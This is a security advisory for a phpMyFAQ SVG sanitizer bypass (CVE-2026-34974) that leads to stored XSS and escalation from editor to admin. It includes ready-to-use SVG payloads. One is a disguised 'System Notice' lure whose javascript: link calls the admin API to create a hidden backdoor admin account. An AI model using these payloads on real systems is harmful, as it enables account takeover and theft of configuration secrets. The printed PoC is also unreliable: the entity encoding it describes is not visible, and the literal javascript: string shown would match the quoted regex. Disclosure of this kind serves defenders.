CVE-2026-34974
phpMyFAQ: SVG Sanitizer Bypass via HTML Entity Encoding Leads to Stored XSS and Privilege Escalation
Description
### Summary The regex-based SVG sanitizer in phpMyFAQ (`SvgSanitizer.php`) can be bypassed using HTML entity encoding in `javascript:` URLs within SVG `<a href>` attributes. Any user with `edit_faq` permission can upload a malicious SVG that executes arbitrary JavaScript when viewed, enabling privilege escalation from editor to full admin takeover. ### Details The file `phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php` (introduced 2026-01-15) uses regex patterns to detect dangerous content in uploaded SVG files. The regex for `javascript:` URL detection is: `/href\s*=\s*["\']javascript:[^"\']*["\']/i` This pattern matches the literal string `javascript:` but fails when the URL is HTML entity encoded. For example, `javascript:` decodes to `javascript:` in the browser, but does NOT match the regex. The `isSafe()` method returns `true`, so the SVG is accepted without sanitization. Additionally, the `DANGEROUS_ELEMENTS` blocklist misses `<animate>`, `<set>`, and `<use>` elements which can also be used to execute JavaScript in SVG context. Uploaded SVG files are served with `Content-Type: image/svg+xml` and no `Content-Disposition: attachment` header, so browsers render them inline and execute any JavaScript they contain. The image upload endpoint (`/admin/api/content/images`) only requires the `edit_faq` permission — not full admin — so any editor-level user can upload malicious SVGs. ### PoC ### Basic XSS (confirmed working in Chrome 146 and Edge) 1. Login to phpMyFAQ admin panel with any account that has `edit_faq` permission 2. Navigate to Admin → Content → Add New FAQ 3. In the TinyMCE editor, click the image upload button 4. Upload this SVG file: ```xml <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 200"> <a href="javascript:alert(document.domain)"> <text x="20" y="50" font-size="16" fill="red">Click for XSS</text> </a> </svg> ``` 5. The SVG is uploaded to `/content/user/images/<timestamp>_<filename>.svg` 6. Open the SVG URL directly in a browser 7. Click the red text → `alert(document.domain)` executes ### Privilege Escalation (Editor → Admin Takeover) 1. As editor, upload this SVG: ```xml <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 300"> <rect width="500" height="300" fill="#f8f9fa"/> <text x="250" y="100" text-anchor="middle" font-size="22" fill="#333">📋 System Notice</text> <a href="javascript:fetch('/admin/api/user/add',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({userName:'backdoor',userPassword:'H4ck3d!',realName:'System',email:'evil@attacker.com','is-visible':false}),credentials:'include'}).then(r=>r.json()).then(d=>document.title='pwned')"> <rect x="150" y="170" width="200" height="50" rx="8" fill="#0d6efd"/> <text x="250" y="200" text-anchor="middle" font-size="16" fill="white">View Update →</text> </a> </svg> ``` 2. Send the SVG URL to an admin 3. Admin opens URL, clicks "View Update →" 4. JavaScript creates backdoor admin user `backdoor:H4ck3d!` 5. Attacker logs in as `backdoor` with full admin privileges ### Impact This is a Stored Cross-Site Scripting (XSS) vulnerability that enables privilege escalation. Any user with `edit_faq` permission (editor role) can upload a weaponized SVG file. When an admin views the SVG, arbitrary JavaScript executes in their browser on the phpMyFAQ origin, allowing the attacker to: - Create backdoor admin accounts via the admin API - Exfiltrate phpMyFAQ configuration (database credentials, API tokens) - Modify or delete FAQ content - Achieve full admin account takeover The vulnerability affects all phpMyFAQ installations using the `SvgSanitizer` class (introduced 2026-01-15). Recommended fix: replace regex-based sanitization with a DOM-based allowlist approach, or serve SVG files with `Content-Disposition: attachment` to prevent inline rendering.